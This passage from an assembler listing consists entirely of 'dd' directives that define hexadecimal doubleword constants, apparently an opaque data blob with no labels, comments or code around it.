		dd 0E0D952h, 26451ACDh,	6F770CCEh, 378A2181h, 38310038h
		dd 4FA4592Eh, 3016FC7Fh, 0E409DA7Dh, 0FC430F0h,	0C93412A9h
		dd 401C8D93h
		dd 0B7706810h, 5165D87Dh, 388259D0h, 2908E003h,	7B2E0636h
		dd 0D08D3F1Ah, 78DB4844h, 8985062h, 30240064h, 0D454B421h
		dd 86076B20h, 2B55E332h, 4FCC51D0h, 0D0EF0063h,	0F6AA8FEBh
		dd 3F18B9E7h, 0DD293718h, 0C6C32CE1h, 221303h, 12F229EDh
		dd 2738665h, 0DA267001h, 8EBEDE41h, 60597EF4h, 0B33360E4h
		dd 73016122h, 4CD68D88h, 188E7F9Eh, 0B809BE3h, 5275DD8Eh
		dd 0E7A59A00h, 0EEA256E2h, 45AB0102h, 1E64D328h, 9F6EF86Ah
		dd 84B28000h, 0CF717320h, 0C0917754h, 58974CC9h, 1B1B92C9h
		dd 0E060061Dh, 0F247686Eh, 21491D04h, 31C3D8B2h, 0E1C3DB7h
		dd 0CD00FA91h, 0AEEA6422h, 1EAA005Ah, 829D564Ah, 0EC031DDEh
		dd 5B2AFA09h, 21D101E9h, 39C18A13h, 87B3E894h, 44181406h
		dd 77D95499h, 0FECA0074h, 0E9EAAF4Ch, 1A18BEF1h, 0AE30A03Ah
		dd 832900F4h, 0F9F5D00Ah, 0B9F8A7C3h, 0A0CBA300h, 0E9E626Dh
		dd 718160B2h, 0A49FDE8Fh, 68398490h, 3D1D9508h,	62891FCCh
		dd 0DBC0DC5Ch, 0FB98822Eh, 0C4A73BC5h, 6C9D9107h, 6960CCF0h
		dd 72ADE203h, 752F834h,	7BDE56A9h, 4122704Bh, 15541EBAh
		dd 0D7F6B89Ch, 8D7CB300h, 8E2AE1D3h, 396B6099h,	4E3B9501h
		dd 270823F6h, 80091803h, 0E7FA39DFh, 210FA3DAh,	25C230h
		dd 9D280FEh, 0D6C61ED0h, 0BAF94370h, 0F8283588h, 0EC50B073h
		dd 6D18F8B8h, 0D76856D2h, 3AD02481h, 0CF3B0100h, 0C4F49138h
		dd 70009871h, 2B581CBDh, 0EA8A4Dh, 83E0C349h, 0FAAF7E0Eh
		dd 7D541215h, 0DAFC00A0h, 0FB168E91h, 0A68107B8h, 0E0805010h
		dd 8F7AC28Ch, 55A05900h, 0AA1A2F57h, 0AB561204h, 6B6040CFh
		dd 5E1CD5C6h, 91309C90h, 4C8119CDh, 8B040E87h, 0D0748DBFh
		dd 0A7D03200h, 0E4F2CD52h, 0F831D528h, 42063C06h, 198027Fh
		dd 68494827h, 2219C8B1h, 825A00B0h, 0FB22E88Eh,	0E6F70083h
		dd 1B73160Eh, 3C015094h, 2ABDCC5Ah, 60243868h, 0E65FF86Fh
		dd 0D6D8007Ch, 0BFA6C0F4h, 9C00B779h, 0D698587h, 3893FDFh
		dd 0FBE3301Ah, 90078A0Bh, 7E841EB1h, 3465DF50h,	0E3B8A862h
		dd 0E009118h, 28C1661Eh, 0EC89539Eh, 210AAF2Dh,	80CE9A6Bh
		dd 0A84BBD80h, 246482C2h, 0B078FEh, 98DDE130h, 0D9CA8D56h
		dd 0C560C42Bh, 2CF0E1Eh, 24BAD19Eh, 403FCAh, 8730563Ch
		dd 4E363130h, 7AA00145h, 2086E81Ah, 25E1DC8Fh, 791B0458h
		dd 801E2600h, 0A1AEBAC9h, 0E4053AFFh, 0C007B31Eh, 2E377981h
		dd 92008A7Ah, 0D2950AEh, 18A331FBh, 307ED3AAh, 1F7BA69Eh
		dd 740067F2h, 80763B8Fh, 0C627C3h, 99D2923h, 0A19E0604h
		dd 0FE0FB9FAh, 9BF496F6h, 52E3C870h, 243101B2h,	3830E49Eh
		dd 920EEC69h, 0DCA9B300h, 0D0775523h, 685D01CBh, 7F84C81Dh
		dd 0FF50800Ah, 8099CDA0h, 26630EA5h, 16000B49h,	84B5EDC4h
		dd 29CF09E2h, 0FD5B2022h, 6F6949E7h, 0A680B8F8h, 67FCF148h
		dd 3012FE12h, 3C1BDF00h, 6DCB2Dh, 46BFAD16h, 2AA1580Fh
		dd 31F18360h, 0E842340h, 6DA35537h, 78B2AAA6h, 81C8A101h
		dd 2196C038h, 0E265E1CCh, 0BDE3154Dh, 9214B0B1h, 6A0E8370h
		dd 2A49A555h, 0D71F9E81h, 0EDB860F7h, 24495401h, 9F98913Eh
		dd 20D2C180h, 51DEB33Ah, 8FC0EA00h, 0BE1E019Ah,	3559C5A5h
		dd 0EDDA0380h, 0ECD7361Bh, 0F6079E19h, 0DAAB7067h, 25232BA0h
		dd 312C0044h, 0FB47B43Ch, 0A07BB038h, 0C2C018A3h, 11C0FABAh
		dd 0DAB65434h, 5C530768h, 0C06FDF96h, 3A66C942h, 35330101h
		dd 89D3AF60h, 3BB9419Eh, 5A217B80h, 0F9DEF147h,	9472B8A8h
		dd 3C0443Dh, 0E0A5B453h, 79F2C041h, 0A4E5500Eh,	7FD63097h
		dd 4893D549h, 0DB007476h, 8B75773Bh, 2C641E4Dh,	39C1F9BAh
		dd 0A9A7849Ah, 0B08FA980h, 0B700385Bh, 8D68F422h, 6EDEAF80h
		dd 0EB078150h, 18041197h, 0BFEB2174h, 0C6CB8019h, 0DA0A2F7Fh
		dd 0EA73E4h, 0F79F201Dh, 791BCA73h, 0A0AC415Bh,	1416CC00h
		dd 32F271A0h, 0C15B6B01h, 91D31BE9h, 6445B980h,	0EEAA184Eh
		dd 62D64C00h, 5646F586h, 0BE0A008Bh, 10C27F5Fh,	250C1DF0h
		dd 89FE049Dh, 0F89A5498h, 32F900EEh, 793EBE9h, 0FB0CBAD3h
		dd 8A5B284h, 0A0FA497Fh, 80F8547Ch, 9143006Ch, 7C63B34Bh
		dd 0D01C61Eh, 0A989275Fh, 59800696h, 0AF57E492h, 47031E3Fh
		dd 5C1B56D8h, 7C19F186h, 4F01C183h, 0E690A054h,	5F03D042h
		dd 69624134h, 92A900FBh, 0C2748B65h, 4B67C171h,	0B07167C6h
		dd 75C04369h, 0DE6D1895h, 641231FAh, 8D5FAE00h,	5417065Ah
		dd 0A49D148Eh, 0A3014C97h, 7322DF1Fh, 98D53028h, 0D0DEAD29h
		dd 63A49830h, 0DAC601B8h, 726B1424h, 0D6A72067h, 71BEB6A0h
		dd 0CE755F02h, 81226E31h, 9D96C4EFh, 3F624180h,	6CA5260Bh
		dd 0BAFA2D0Ch, 792959A9h, 0C8160E06h, 0B8206040h, 0AB5503F0h
		dd 5A37F601h, 0C06FEB7Dh, 72711840h, 0CBE50335h, 54336A87h
		dd 98DA06F8h, 0A909CF7Ah, 815313C3h, 9FF7924h, 3395BC0h
		dd 1F9291F3h, 491D9FBDh, 81FA82F8h, 0C977A671h,	86F448BFh
		dd 8BF302FAh, 1DE6B50h,	401190A7h, 0E2572F76h, 1EFBFF00h
		dd 1B67E086h, 5F4D00DFh, 13B4E70h, 889189F9h, 0F4004824h
		dd 97216E3Ah, 0DEFA15F5h, 5000A80Fh, 9F1607DFh,	91F1FB5h
		dd 8340406Bh, 0FDD8B3B9h, 0E4580C12h, 8E812969h, 11E75F00h
		dd 3233DC08h, 0F82C1C23h, 281FCE7Bh, 958061CEh,	25FE6DFBh
		dd 0A4B9AD3Eh, 0CD1CE8FFh, 70BE3803h, 15639079h, 22510F31h
		dd 0BA84ED20h, 466088BDh, 87916C3Eh, 0D24ECAF9h, 0E9707120h
		dd 0AA1D00C0h, 18C4EB23h, 97F83453h, 0BDEC1254h, 0BE45430Eh
		dd 0B187E1BCh, 0A0F0178Ah, 745D0282h, 85D6CD94h, 0E87E6C49h
		dd 0DF00277Ah, 0C777F69Ah, 22295E8Bh, 1400FADEh, 0A2316523h
		dd 3A3F616Ch, 968090ABh, 80344F8Ah, 0EB111CF1h,	2600F7DEh
		dd 86F8BF53h, 5B00820Fh, 0DC1E392Ah, 26634BA6h,	9B484CAh
		dd 741098A0h, 0AA14104Fh, 1DE5BD6h, 0AB37164Ch,	2189A397h
		dd 7D000D5Ch, 82CD5C7h,	0CF458E6h, 69C23D0Ch, 1B7951h
		dd 0BABB3221h, 858C3116h, 8030BE58h, 0B7747597h, 0BC0004Eh
		dd 4FC73CCEh, 39EC2735h, 0F7ACFF00h, 681B2684h,	540E0356h
		dd 7742E9DAh, 0F8862289h, 0ACB0BED8h, 15EC683Ah, 40A0901Fh
		dd 313DB1E8h, 10BE2C97h, 0A0503B40h, 3D910376h,	340387F7h
		dd 7DA7E9B0h, 2A2F2E00h, 9D16F4B6h, 840254FCh, 91231F71h
		dd 0D626C624h, 0C2006186h, 7DB764EDh, 0C67BE7h,	0BE424B7Ah
		dd 19DEE8F0h, 8BFA300Ch, 26B79A4h, 232C88F4h, 6CC01B17h
		dd 88B15471h, 0A6634A80h, 27ECC33h, 1E86F1Ah, 484111CAh
		dd 807CC5BAh, 0FD7F6C29h, 0E7F1D3EDh, 0FA37B240h, 0C934A087h
		dd 0B77B2EEEh, 4FE96078h, 8B00C45Ch, 0FC9F2377h, 0F637617Dh
		dd 70570878h, 0D4802969h, 36CFA7AFh, 0CD050E4Ah, 0DE0058A4h
		dd 38080484h, 194DB600h, 312BB078h, 0D5C0A06Fh,	5D978A4h
		dd 358E702Ch, 573880FBh, 3590F489h, 0D3999D63h,	2E91078Bh
		dd 203A27D7h, 80B74896h, 38387D30h, 252ABC4h, 441DA6F7h
		dd 484273B6h, 0C4D9F427h, 6754C0E8h, 265CCD9Fh,	555B023Eh
		dd 9084FA99h, 0A6219D90h, 836E04DCh, 0C81DF8EDh, 4CB07034h
		dd 6C4CCD2Ch, 0F72A6000h, 80C07Eh, 0D713A129h, 0FB2590C6h
		dd 0AB1688F8h, 7840ADD3h, 2E37FFE4h, 0EC5800B5h, 31B6699Fh
		dd 3003D75h, 3510FB9Ah,	9101C26Eh, 275E80F8h, 0E3A47BF1h
		dd 24F1A1Ch, 34953AC0h
		dd 1E195F75h, 18F6D7D4h, 189D310Bh, 0B0812C00h,	0A0E6FBEEh
		dd 179CA420h, 1514D01h,	46F03128h, 509AF97Eh, 0D50FC50h
		dd 0C00C4C00h, 0AB59D95h, 701401FFh, 2B614F96h,	63D1F578h
		dd 0B1CB0354h, 0F037F5BBh, 7D6DB85h, 1BCB771h, 447A80A8h
		dd 210614CDh, 82915108h, 4E550189h, 0FA9723C9h,	0B9BE89h
		dd 0B0CD1641h, 3EFCA586h, 384424A0h, 618AF48h, 0A7B68088h
		dd 1DF61F34h, 0D8234069h, 0FDAF6B8Ah, 997A8430h, 0FEB357FFh
		dd 269894E6h, 0EA51144h, 1AD0E4Ch, 28A60BBFh, 98BD030h
		dd 1EE86925h, 0B8501480h, 0E00CA35h, 0C189864Eh, 0FC942387h
		dd 60752C9Dh, 0E04602Ch, 0E4005C06h, 8FB40BC7h,	1F1B728h
		dd 0CE94222Bh, 0D6CCF67Ch, 40B42063h, 82470331h, 18D8006Ah
		dd 4DBB35C8h, 74B0A756h, 3EB2038h, 9A75A5A9h, 38B1EFF8h
		dd 0BB21A112h, 80C18814h, 70E399h, 0DEE62EB8h, 349D4254h
		dd 61134B60h, 105C9A01h, 0E6FA0A51h, 4E77A041h,	17834C4h
		dd 14AFC4AAh, 361EA0F8h, 0D6B00978h, 82EB8h, 0A016017Eh
		dd 2EE0015Bh, 9DA7E50Eh, 0A1218038h, 0FB8D58FAh, 1E963E7Dh
		dd 27BDB913h, 0F9B4A094h, 890003B6h, 73FB7701h,	1396118h
		dd 794A0446h, 60A5F41Ah, 5B05B5DCh, 0CE7BF749h,	62608Ch
		dd 91704888h, 61694C20h, 34921C12h, 0C3D89060h,	756A00DCh
		dd 911C02CDh, 22016806h, 6C3FC7E9h, 2843D3C6h, 4C25E801h
		dd 63C100E1h, 487D3045h, 5D004062h, 690F4A0Ch, 0AD7D308h
		dd 0D2555CCFh, 221200DDh, 3718409Ah, 0CE8BCA19h, 0AFC9E20h
		dd 30570092h, 69EB7560h, 0F800490Eh, 1F20A2C6h,	78589C0Fh
		dd 30CD656Fh, 4A9DC6D3h, 60030EAh, 0B8DF6C0h, 35AF54Ah
		dd 0CBAA6962h, 6106D01Dh, 0A045D20Ch, 6B840D91h, 0E248D598h
		dd 1F64B240h, 4FFAAA05h, 0ADC05AC0h, 14A8286h, 80B8FE35h
		dd 0E41B3161h, 60F1C266h, 6C015781h, 41C4AC70h,	0CAE4B742h
		dd 71D5601Eh, 1A71A550h, 3962A304h, 8FC7C68Ah, 428F6840h
		dd 0C829FC9Ch, 88DE530h, 3F60D9D0h, 0CDBA01E7h,	9CB513F1h
		dd 2F54DC4Ah, 5EECC3E0h, 191F5600h, 681EF004h, 21600D6h
		dd 6A800571h, 49C9FED5h, 0E86706D7h, 8B8F0361h,	0E74CB546h
		dd 1A638AB0h, 0E5C2D1Ch, 0F00A88C0h, 308EF32h, 5762DD02h
		dd 81C02833h, 0E2050650h, 2234D2B0h, 0AD68A045h, 0C0BAA44Eh
		dd 76A78AF2h, 9D6F05FDh, 0C09C6D59h, 8236DB0Dh,	6840490Ch
		dd 776231B3h, 0B5E200B7h, 16172A75h, 0D93859D2h, 12448FDAh
		dd 5D322603h, 4AA60678h, 0D1B407E6h, 0A47D7C00h, 8A42820Eh
		dd 46F50CB9h, 2DE1B0E5h, 0FF00EF73h, 0A752B2F9h, 58CA2FE1h
		dd 88306453h, 190F1250h, 0D451D210h, 8A41D70Ch,	851857DAh
		dd 0F610E324h, 84E81F16h, 9CA10D20h, 60C4E0B9h,	0A63EE57Dh
		dd 6680804Fh, 0D5702112h, 0CB8A438h, 0BA0B5709h, 2D01E911h
		dd 0FF307A8h, 64400881h, 0DBB1F0Eh, 91CB779Fh, 98EAF061h
		dd 4849CD63h, 0C47BB06Fh, 6AB80E7Ah, 0DA445BA6h, 12F6C035h
		dd 34A87F44h, 6700C5EAh, 8C732E47h, 123C3056h, 702870D1h
		dd 37D4C248h, 0F0900500h, 0FDFB52F7h, 0BB313008h, 41822549h
		dd 0C5AF7D18h, 0D0F389h, 0B34E1891h, 0AE7C3EF5h, 0E065083Dh
		dd 72C7CA20h, 7F8F0034h, 73547042h, 46004071h, 28B0F949h
		dd 50D556C1h, 30CA6C57h, 3591DF20h, 0CC480521h,	2C8700F8h
		dd 91C16A3h, 1830A250h,	1D4CA688h, 8F6B5h, 1D4E4AFCh, 333B90BCh
		dd 0D35160AFh, 0A4F26E4Dh, 1DDD00A8h, 671A4FF9h, 33003285h
		dd 118351F0h, 167357h, 0FFAEC150h, 0DA46BA87h, 0A5083413h
		dd 0CE571306h, 0EF4F0079h, 0F5019B1h, 0CA28B0E6h, 0A5153087h
		dd 5F385ADFh, 2C72B0h, 7A8289C6h, 5D65583Ch, 9C985224h
		dd 3AA564Bh, 189060F6h,	6900CBE3h, 5C7972FAh, 1DCD086h
		dd 1B1F7AACh, 0DF451A3Eh, 0DF48802Eh, 0FB437800h, 23803E2h
		dd 7F8AB67Ah, 3EC1AF02h, 8021D199h, 41CCA469h, 1A4DF7h
		dd 926E6035h, 5D762EDFh, 0FE172507h, 0B47AC671h, 4D911280h
		dd 46195Bh, 0E5F24E01h,	808418F9h, 0D738B01h, 0C70BA845h
		dd 0D721E610h, 0C14658h, 2C7FC878h, 3721FF6h, 42F9D537h
		dd 0AA86256h, 66360B8Ah, 26039C6h, 1DAC5ADDh, 0C08920h
		dd 6F84D51Ch, 0EF09293Bh, 22AA5C98h, 5AA94200h,	13BFEDE3h
		dd 18DB883h, 2E17C2A6h,	40F2AB69h, 7F19BC88h, 0F4683360h
		dd 0F8F0C565h, 732D06EFh, 61B9087Ch, 0F9A2C200h, 842A695Eh
		dd 1B980056h, 59223580h, 0B8A03039h, 7B7FEC14h,	0D1587900h
		dd 0D2709FC2h, 0F89D544Fh, 3922F6F6h, 2E0659A1h, 0B1DBF221h
		dd 0FEE0C600h, 41DF137Eh, 506D6088h, 0CB667B0Dh, 0DD782258h
		dd 9FFAC384h, 7DCD0780h, 80F458D1h, 2D210A7Ch, 80D07E08h
		dd 0C28C946h, 0DA00C771h, 891A98C8h, 4DDE4CD2h,	922C89Fh
		dd 9E583401h, 299B921Dh, 350C5C0h, 75F1319Ah, 3100E098h
		dd 13FF0FAFh, 43B55Ch, 28EB441Ah, 0F4F93974h, 0F1B8CF16h
		dd 3BF64C20h, 463A00EFh, 26CA6241h, 0C28219Fh, 70A650ABh
		dd 85083707h, 0A3A551B9h, 7B02C405h, 0CFEF8002h, 0F18880B5h
		dd 7CCB1F1Dh, 7383004Fh, 6F879256h, 0DF6FAF9Fh,	18B54FA1h
		dd 0B0762Eh, 0E8D626CBh, 0A649EF42h, 0E85B5426h, 7A9D0D00h
		dd 3C71D35h, 0CC10660Ah, 0B900DC8Bh, 0F8551902h, 5082D2D1h
		dd 4C92D8DAh, 0B58040F1h, 5D3A27D4h, 0A6A9000h,	916DAB52h
		dd 0A7E11DE3h, 9560C099h, 36EE96B6h, 0F0E752h, 3D5974C9h
		dd 0DF4AD2E1h, 7B6C05F9h, 50A08241h, 1979A864h,	9885DC1Dh
		dd 27BF4A2h, 0F65AFEAh,	34404086h, 6E12AE38h, 144033ABh
		dd 88393A78h, 1F407401h, 1671E42h, 4ED214EAh, 7E719D0Ah
		dd 64604DD6h, 24EB5811h, 127C6681h, 0E2FC017Fh,	6440AF53h
		dd 0C028AEE4h, 0BE139888h, 0B030335Bh, 125E24h,	0D376C9Ch
		dd 0D2235581h, 1EA21802h, 0C4697E0Bh, 164B00E0h, 0B5015A2Fh
		dd 371CB912h, 0A0C09931h, 28F6BD4Fh, 0BA160A40h, 809827F1h
		dd 0B8884BF3h, 0F206D89Ah, 0F9AFBB3Ah, 0F5FA0079h, 0A7F709B7h
		dd 60005F1Ah, 0EB26AE65h, 0A8CC0851h, 0E64A4h, 77AC844Bh
		dd 4E34BCECh, 0EA88AF03h, 306D57h, 3F55D0E8h, 51973C39h
		dd 0B41FCA24h, 2ED280C7h, 8F4E1C1h, 36006432h, 0D54F8B52h
		dd 0C9E0C5DFh, 45EE8000h, 61ED1149h, 179A0008h,	0BC48F3Bh
		dd 9888D75Ch, 47C1C0FAh, 3C6F0E25h, 0EAB75D00h,	36CC546Ah
		dd 0AE5724A8h, 0C0173F00h, 0F8D40EC4h, 8880C28Eh, 34FAA04Dh
		dd 0F1B6FE0Ch, 3B6A59E2h, 9412F865h, 7987002Fh,	6804CC24h
		dd 0C9C14009h, 277C480Bh, 0AD93129Dh, 53780FFFh, 0D6E71983h
		dd 1C4939h, 76523099h, 5CCEEEBEh, 4E01E939h, 0C65992ACh
		dd 2A4980D3h, 0FFE3E58Fh, 0CCD900FDh, 73FB3EC1h, 75F6DA57h
		dd 48463F01h, 0A4721231h, 136B0024h, 0C152E9h, 4879A9C2h
		dd 62092AB8h, 993E4CADh, 3E03A44h, 0E40A006Dh, 14B5853Bh
		dd 0A4075629h, 728A60ACh, 0F23C80C1h, 0B2003432h, 0CDB77913h
		dd 2B0137A3h, 0B9AF6A7h, 0B187B531h, 996D7DFEh,	0E0099448h
		dd 2E803901h, 0D7AA5E37h, 0F9FEAC83h, 0C0DFE233h, 6BAD0C5Ah
		dd 0B899549Ah, 0B9070480h, 56CCC6h, 88383589h, 0E3DF63C5h
		dd 0CDABC40h, 0B67D0A1h, 0E4E668D1h, 2BB09100h,	0CEA93F4Ch
		dd 878F0479h, 81B72E22h, 11CF60C8h, 40F253CAh, 1276FFF0h
		dd 0C0C6802Dh
		dd 0FEA76F6Ch, 2CF2861Bh, 0DB5C00F9h, 0CD5B71BBh, 950757FFh
		dd 0A4110746h, 81B0A6h,	0A881B690h, 327464B9h, 1634AD00h
		dd 8517B266h, 1F3103AFh, 0D1E6C580h, 7FF85901h,	388347FCh
		dd 9CBB8740h, 0EF910B10h, 58185857h, 8A09893Eh,	0B3DAAC4h
		dd 38D0309Ch, 0C40748FFh, 0E1B65180h, 5F5080A1h, 2A03F4D3h
		dd 68AA9688h, 95A900AFh, 0F61B0BB5h, 14722699h,	0AA0038ECh
		dd 0FA91B47Fh, 30281184h, 6F310568h, 4B0052EBh,	3614B14Dh
		dd 0B198FB57h, 0FC900004h, 106FF018h, 71DABF09h, 19030096h
		dd 3C0B0DF3h, 0E829416h, 0A3E1AF75h, 532244A0h,	8D003658h
		dd 41BDE59Bh, 0B9E83Eh,	30D977FCh, 8FE1813Bh, 1F046F76h
		dd 90A54F9Ch, 2E1BBCC0h, 49E7635Dh, 0E9EB939Eh,	4D221FE0h
		dd 9492DD02h, 0C0F3C866h, 2814770h, 9FE84F37h, 8C64BD2h
		dd 7A407900h, 5AF1587Bh, 0DFEB0A50h, 0C7B01ECAh, 0D23322D9h
		dd 3925D2C3h, 0BF68A0E6h, 15351E0h, 0A5A9E4DCh,	30562F80h
		dd 0E92E98E4h, 0E881547Ch, 0FF4F33ECh, 847DC0D3h, 53D21159h
		dd 508000A1h, 5D9608BEh, 0F871024Ch, 0E7704DADh, 26003C64h
		dd 8987CE20h, 10193Fh, 0A3AF62CAh, 0C78E2553h, 0CCEF5B00h
		dd 7628D9ECh, 93C10B50h, 20040E3Bh, 0E6AB40C6h,	1800D87h
		dd 748B78D1h, 0F8B653B1h, 3700C269h, 0A74FE346h, 4A65EA2h
		dd 3108F19Eh, 0AFCC927Ch, 0E6004CE4h, 8E185158h, 0E2EED66h
		dd 6F1D54E9h, 0D33B3100h, 1E3C89A9h, 342C876Eh,	0D4FACA42h
		dd 36708049h, 91E08DEBh, 0A7C58FDCh, 827CA4A0h,	0D0A2193h
		dd 8CAAFCCEh, 51E5F900h, 0A4689078h, 0B8BE0198h, 0B6E1B216h
		dd 1808203Dh, 8429C41Fh, 6CE7047Dh, 10B54DD5h, 0C0215160h
		dd 1A4B4228h, 2700827Dh, 0F88A1261h, 19A952Eh, 55B9609Bh
		dd 0F163A406h, 0E06F200Eh, 921DCE7Ch, 37896E8Ch, 0EB7848F2h
		dd 0EAE20744h, 1079B5CEh, 62AD2093h, 2E5A63Ah, 0CA447C7Bh
		dd 9874E41Ch, 0D2D603F4h, 0B9A15799h, 43E945AFh, 0E385CAA8h
		dd 8028295Ch, 228A2698h, 48BB7403h, 0D209AD50h,	3021DFA1h
		dd 0E516A0B2h, 85842C39h, 0DC8C9003h, 37CF002Bh, 0A94CBB95h
		dd 0AA724AECh, 913DE338h, 6707B90Bh, 0E2BFC03Bh, 0F464E54Dh
		dd 5D85ED00h, 16DC7EFh,	1345E811h, 307B561Dh, 2425A7D0h
		dd 7F5CB500h, 0A535F027h, 29D405FFh, 1AF3F06h, 7E9D2614h
		dd 0BF5FDC4Fh, 2B1DFE1Eh, 50C8C153h, 0EEEB1CAFh, 0F08740D9h
		dd 517FB8DCh, 0D8ACA100h, 8675B615h, 8014B241h,	6F605Ch
		dd 0F96AC397h, 0BFB31989h, 8C300C2Ch, 301B3A09h, 2C4E6EB0h
		dd 3EF8C2A4h, 0B4148214h, 899630C3h, 0D0548FC9h, 132E5146h
		dd 0F385F46Dh, 0ACCC8535h, 5BC901CDh, 65139225h, 42E5CCF7h
		dd 170E5300h, 0F36A77D2h, 0AF84167Fh, 0C48027ADh, 0F1748847h
		dd 2AB0D454h, 5BCAA501h, 1268E192h, 7F852180h, 0C11C3C7Ah
		dd 0C49AAC0Bh, 0EC8490C6h, 0EC98E059h, 83EC5Dh,	47EAD681h
		dd 0FEF53562h, 276B4D3Bh, 2A18200Bh, 0F9C7BF0h,	40124337h
		dd 1EFF8EE1h, 6E0DFC06h, 6FDFCF02h, 681957D5h, 0E75088h
		dd 0D0EDEC90h, 53CBF4ACh, 7060C307h, 0C0F05CDEh, 58E1696Ch
		dd 0D322F009h, 3F5AC0Fh, 7142C07Ch, 0FCE7Dh, 392EA85Ch
		dd 11EE0D8Ah, 12A66499h, 15D56400h, 0EEADD104h,	0F8AFAF2h
		dd 0E04F95ABh, 40483A4Ah, 0BE8B3D58h, 40E0784Ch, 0CA3F40EDh
		dd 0D251E284h, 18188D46h, 0DC0827D2h, 0BE0054A1h, 0E9DB2BFCh
		dd 1D74721h, 64F77F59h,	38D240BAh, 0E0311180h, 3BCAC804h
		dd 8B21Dh, 0FE7A0139h, 0B01B2C23h, 0D8104C28h, 54436504h
		dd 2040C38Dh, 0C011A01Dh, 357EEF05h, 336A20C0h,	49CC60AFh
		dd 0AD0F34CDh, 7500A1B8h, 898DF4BDh, 4746928h, 61B722D5h
		dd 5CA27Bh, 7311863Dh, 2BCAC33h, 2A83144Fh, 6E41B012h
		dd 8BF0C3CAh, 0BF518480h, 17042384h, 6400EFDAh,	0DEBD644Eh
		dd 4C664B08h, 7BA08778h, 7F0E091Fh, 821A0F00h, 2392050h
		dd 860AD1F9h, 4C41020Ch, 38801008h, 4DC3038Eh, 0D5D0EC1Fh
		dd 0E6F07298h, 9AB82A54h, 77460500h, 0E3A54A9Dh, 0FC2F5A60h
		dd 8AD840DCh, 39117342h, 0B367111Dh, 78132F00h,	2905A8F1h
		dd 0C648EA03h, 0B8EEA769h, 1FAA11Eh, 549D965Eh,	73CE38D5h
		dd 571502E0h, 0C3187966h, 0FAB80898h, 10800771h, 4640497Fh
		dd 0A1150101h, 0D10D4E73h, 0E0F9D15Bh, 0A9124A0Bh, 0CC201FCBh
		dd 122D2133h, 61E0893Bh, 73253028h, 0A4BE0088h,	0C692CD79h
		dd 16E274h, 1EB84220h, 5C0A0724h, 253BD514h, 82274h, 1F025255h
		dd 10F69D78h, 0A0726B09h, 404C8EBBh, 223DAB71h,	303B25E7h
		dd 5F53FC90h, 174D84Ch,	0CC15EDF5h, 0DA41BC69h,	0A1802EF2h
		dd 6BB06AA2h, 5A008A8Bh, 6FE5157Eh, 182E485h, 3FDB82Dh
		dd 290B19B3h, 0F4E91FB4h, 81B0003Ch, 0FAA01AC5h, 0B956006Dh
		dd 0CEF8D21Fh, 0F1134248h, 0FC1DF037h, 100E824h, 66844713h
		dd 6E1901BDh, 5C810AD5h, 899C70ACh, 38C0D945h, 0F90C6068h
		dd 1423C1B6h, 4D00C0F8h, 624534C3h, 60DC4BA8h, 0E70B5838h
		dd 4A01AF77h, 5936F310h, 0B87268F8h, 0A780DE3Ah, 0B9495DC8h
		dd 5C00F9A0h, 0C4D20C77h, 0EA297AABh, 8B809160h, 0CA55AE6h
		dd 0A8888C6Ah, 0F43D64F2h, 1C4D8F1h, 14119459h,	4C21C116h
		dd 46013479h, 0CA377CDDh, 1E06286h, 6B8D055Dh, 0A872AF45h
		dd 5FAD0F7Fh, 2BE081C8h, 70ECD61Bh, 0E7F04212h,	0FE91F090h
		dd 1F320548h, 8057B2C9h, 1CF73ED0h, 0F24CF412h,	9822A020h
		dd 537F0021h, 50A3EFC4h, 401C55BDh, 58405DE4h, 0BA830EAEh
		dd 4F451D6Fh, 0C41F7FEAh, 3ADF6C80h, 41C86607h,	75E1C08Ah
		dd 2A755B84h, 0B70014B8h, 6034E4D8h, 2495F57Eh,	4F904AD2h
		dd 409C3320h, 0F8E9037Fh, 46F20612h, 0FDAFCA00h, 14A432D9h
		dd 262F01E0h, 0E62DCE84h, 0B120802Ch, 8DCF29E8h, 7F41E419h
		dd 0EBE50306h, 977A6669h, 1D96E3B0h, 4451C767h,	0D3CBFCD0h
		dd 0C45F006Ah, 7EB7910Bh, 9D01E432h, 0CD40536Eh, 318FB812h
		dd 805D9615h, 0B3480149h, 0C50F84F6h, 5B0B4273h, 6DFFF080h
		dd 0E67259h, 802423E4h,	0F5BC1326h, 6A416000h, 0E0BE2B52h
		dd 4437183Bh, 0B775B917h, 0E2FB63Ah, 7FB02ABCh,	674151B0h
		dd 2ECF8CFh, 0F12E7119h, 4A43B03Fh, 42EE2101h, 262AA3E1h
		dd 0FE2F7EF0h, 107939A5h, 0AFA73A83h, 1909EB3h,	6002E0Dh
		dd 0B285FC11h, 0D9B1B040h, 0C83938D9h, 0BC07815Ch, 0EAA95F18h
		dd 0DC431197h, 29D612h,	0DD7AB497h, 5924CDBh, 4E00BC90h
		dd 5BFB65BFh, 184AF7C6h, 31C4126Eh, 1E587E36h, 2197075Fh
		dd 0C1B032ADh, 309C5680h, 9381CCDEh, 230577C2h,	0CB2ECA94h
		dd 0A6640C00h, 387AA81h, 47CE6331h, 0D000994Eh,	0EC5379DFh
		dd 0E3DEE2F4h, 0A84F3180h, 0A6F6212Fh, 0D5DBF00h, 883D175Bh
		dd 0C06601E2h, 0CEFBC628h, 9AC8C3B5h, 931855D1h, 26413DDEh
		dd 779901D6h, 38D359A7h, 28C4045h, 22013695h, 0E3C2433Ah
		dd 319637DEh, 0FE0000F8h, 9EDCA76Eh, 1A02D11Eh,	341D2F40h
		dd 18E037CDh, 31DADF69h, 0EE00F9F7h, 0BFCE9028h, 2784025h
		dd 524DA162h, 1B00B98Ah, 1844ACCDh, 3934DE0Ch, 4E00773Ch
		dd 89189955h, 4FBA0Ah, 9E7DAC45h, 914C797Eh, 4ACCD600h
		dd 22C71CA7h, 7417B8Eh,	0F06B44DDh, 231B102Ah, 7E0E0E9Ch
		dd 0F2E645ACh, 73D63C43h, 0F8889BBDh, 0A1B882h,	5F373E1Bh
		dd 0F49DFA36h
		dd 3344B49h, 6EB58DF1h,	1A28F818h, 0E8200DAh, 0F932FF79h
		dd 1F15C675h, 5CE601h, 42F73FD8h, 3ED92A50h, 3998B23Dh
		dd 0F45AE4DDh, 0C1E98218h, 1D0B6B89h, 8305FBDCh, 3C7CF0Ah
		dd 287D39F0h, 1E06827Ch, 0C6863753h, 54F41831h,	275B68CBh
		dd 0F3AAF000h, 2638589Eh, 591F00D9h, 90B1A0BFh,	31094D7Ah
		dd 901DF462h, 2D6624h, 0DB01ED6Ah, 2E6BA0B3h, 8F3CC248h
		dd 0CF664F98h, 41A9C58Dh, 0CFDF8046h, 9170021h,	7218BD7Fh
